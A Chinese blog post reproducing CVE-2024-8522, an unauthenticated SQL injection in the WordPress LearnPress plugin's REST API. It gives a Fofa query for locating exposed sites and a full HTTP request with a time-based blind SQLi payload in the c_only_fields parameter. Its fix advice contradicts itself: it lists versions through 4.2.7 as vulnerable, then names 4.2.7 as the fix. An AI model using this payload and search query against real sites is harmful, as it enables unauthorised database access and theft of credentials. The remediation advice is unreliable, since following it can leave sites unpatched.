当前位置: 首页 > news >正文

WordPress LearnPress插件 SQL注入复现(CVE-2024-8522)

0x01 产品描述:

        LearnPress 是一款功能强大的 WordPress LMS(学习管理系统)插件,适用于创建和销售在线课程。凭借其直观的界面和丰富的功能,无论您是否具备编程背景,都能轻松搭建起在线教育网站。学会如何使用 LearnPress,意味着您可以快速地建立教育、学校或课程销售网站。

0x02 漏洞描述:

        LearnPress是一款广受欢迎的WordPress在线课程管理工具插件,近期被发现存在一个高危SQL注入漏洞,编号为CVE-2024-8522,其CVSS评分高达10,表明该漏洞具有极高的严重性。此漏洞潜藏于LearnPress的REST API端点中,具体关联到“c_only_fields”参数的处理不当,因缺乏足够的转义措施和SQL查询准备,使得未经身份验证的攻击者能够注入恶意SQL代码,进而可能访问并窃取存储在WordPress数据库中的敏感信息,如用户凭证、个人数据及课程资料

0x03 影响版本:

LearnPress <= 4.2.7

0x04 搜索语句:

Fofa:body="/wp-content/plugins/learnpress"

0x05 漏洞复现:

GET /wp-json/learnpress/v1/courses?c_only_fields=IF(COUNT(*)!=-2,(SLEEP(5)),0) HTTP/1.1
Host: your-ip
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 35

 

0x06 修复建议:

厂商已发布4.2.7版本以修复该问题,存在问题的系统可更新至4.2.7用以修复

CVE-2024-8522 & CVE-2024-8529 (CVSS 10): LearnPress SQLi Flaw Leaves 90K+ WordPress Sites at Risk

相关文章:

  • 网络编程,端口号,网络字节序,udp
  • 如何创建网络白名单
  • [数据结构]无头单向非循环链表的实现与应用
  • sql执行流程经典案例分析
  • pdf.js滚动翻页的例子
  • Dubbo入门案例
  • 本地搭建OnlyOffice在线文档编辑器结合内网穿透实现远程协作
  • 在线订餐革命:Spring Boot 点餐系统
  • 静电势能(electrostatic potential energy)和电势(electric potential)
  • 戴尔笔记本电脑——重装系统
  • 进阶SpringBoot之 Dubbo 及 Zookeeper 安装
  • vant van-pull-refresh + van-list实现list列表支持搜索和下拉刷新
  • centos7如何连接网络 centos7wifi连接
  • 决策树算法在机器学习中的应用
  • WebGL复杂几何体与模型加载
  • (三)从jvm层面了解线程的启动和停止
  • CEF与代理
  • ES6语法详解(一)
  • Vue2 SSR 的优化之旅
  • vue2.0项目引入element-ui
  • vue中实现单选
  • 闭包--闭包作用之保存(一)
  • 工程优化暨babel升级小记
  • 检测对象或数组
  • 经典排序算法及其 Java 实现
  • 力扣(LeetCode)56
  • 聊聊flink的TableFactory
  • 每天一个设计模式之命令模式
  • 前端性能优化--懒加载和预加载
  • 山寨一个 Promise
  • 使用前端开发工具包WijmoJS - 创建自定义DropDownTree控件(包含源代码)
  • 运行时添加log4j2的appender
  • ionic异常记录
  • 数据可视化之下发图实践
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • (20)目标检测算法之YOLOv5计算预选框、详解anchor计算
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (21)起落架/可伸缩相机支架
  • (4)通过调用hadoop的java api实现本地文件上传到hadoop文件系统上
  • (C语言版)链表(三)——实现双向链表创建、删除、插入、释放内存等简单操作...
  • (TipsTricks)用客户端模板精简JavaScript代码
  • (办公)springboot配置aop处理请求.
  • (第27天)Oracle 数据泵转换分区表
  • (免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐
  • (十一)c52学习之旅-动态数码管
  • (实战篇)如何缓存数据
  • (一)kafka实战——kafka源码编译启动
  • (一)VirtualBox安装增强功能
  • (原創) 如何刪除Windows Live Writer留在本機的文章? (Web) (Windows Live Writer)
  • .bat批处理(四):路径相关%cd%和%~dp0的区别
  • .desktop 桌面快捷_Linux桌面环境那么多,这几款优秀的任你选
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .NET Remoting学习笔记(三)信道
  • .Net 访问电子邮箱-LumiSoft.Net,好用